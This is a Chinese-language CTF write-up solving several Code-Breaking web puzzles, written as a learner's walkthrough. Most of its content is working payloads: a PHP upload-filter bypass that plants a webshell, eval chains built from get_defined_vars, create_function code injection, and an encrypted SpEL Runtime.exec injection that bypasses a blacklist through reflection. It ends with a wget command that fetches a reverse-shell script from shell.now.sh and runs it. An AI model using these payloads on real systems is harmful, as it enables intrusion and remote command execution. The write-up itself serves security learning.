代码审计圈子里看到Code-Breaking Puzzles,跟着学习着做下。
地址: https://code-breaking.com/
给P神的代码审计圈子打个广告,199元你买不了吃亏买不了上当:
这个题最开始做上来的,但是做出来了个非预期解。
最开始的题目:
<?php function is_php($data){ return preg_match('/</?.*[/(/`].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } var_dump($_FILES); $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); } ?>
只要求不用括号和返单引号,想到了使用include,最后先上传了一个base64后的一句话,然后用include+filter进行包含:
<? include 'php://filter/convert.base64-decode/resource=10.php'; ?>
不太知道为什么直接菜刀连接不上去,最后直接用glob+file_get_contents拿到了flag
chopper=var_dump(glob('../../../*')); chopper=var_dump(file_get_contents('../../../flag_php7_2_1s_c0rrect'));
后来is_php进行了修改:
function is_php($data){ return preg_match('/</?.*[(`;?>].*/is', $data); }
预期解法是利用PHP默认pcre最大回溯10w次(pcre.backtrack_limit=100000),令正则匹配上传内容时回溯超过10w从而匹配失败。
具体解析p神已经发了博客:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html题目:
<?php var_dump(__FUNCTION__); //echo get_defined_vars(); echo preg_replace('/[^/W]+/((?R)?/)/', '', $_GET['code']); if(';' === preg_replace('/[^/W]+/((?R)?/)/', '', $_GET['code'])) { eval($_GET['code']); } else { echo"/nerror"; // show_source(__FILE__); }
正则允许无限的无参数函数嵌套,并且去掉嵌套的函数以后只剩一个分号。
记得好像有个能获取全局所有变量的函数,查手册查到get_defined_vars函数,结合数组操作函数current、array_values可以拿到GET中的第一个参数(所以a那个参数要在code前面,因为用了array_values所以叫什么无所谓)。
最后的请求:
http://51.158.75.42:8084/?a=var_dump(glob(%27./../*%27));&code=eval(current(array_values(current(array_values(get_defined_vars()))))); http://51.158.75.42:8084/?a=var_dump(glob('./../flag_phpbyp4ss'));&code=eval(current(array_values(current(array_values(get_defined_vars())))));
题目:
<?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }
需要action不能完全由数字字母下划线组成,想到了命名空间这回事,函数前面加个/就可以用了。
利用create_function函数进行代码执行,
参考:
http://blog.51cto.com/lovexm/1743442
懒一下,直接写结果:
http://51.158.75.42:8087/?action=/create_function&arg=2;}var_dump(glob(%27./../*%27));/* http://51.158.75.42:8087/?action=/create_function&arg=2;}var_dump(file_get_contents(%27./../flag_h0w2execute_arb1trary_c0de%27));/*
这个题我想用idea调试来的,参考网上远程调试的文章,并且也把jar文件导入到项目里,最后下了断点还是不停,就先静态看了。。
题目有点类似Shiro反序列化漏洞的利用,Shiro的rememberMe存的是加密后的序列化对象,这个存的是加密后的SPEL。
题目从Cookie中获取remember-me参数并解密:
在getAdvanceValue函数中进行过滤+执行:
过滤规则及加密key:
一般利用java.lang.Runtime.getRuntime().exec(cmd)来执行命令,利用反射来绕过黑名单,最后得到EL:
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'xxxxx')}
加密代码:
String a="#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'sh /tmp/414.sh')}"; String b=encrypt("c0dehack1nghere1", "0123456789abcdef", a); System.out.println(b);
用dnslog测了下可以外连,用之前代码审计圈子提过的shell.now.sh反弹了shell。
似乎是因为http://jackson.thuraisamy.me/runtime-exec-payloads.html编码后的结果包含{},导致EL没法正常执行,最后分成了两条命令:
wget https://shell.now.sh/47.123.123.123:12345 -O /tmp/414.sh sh /tmp/414.sh
提交:
拿到了flag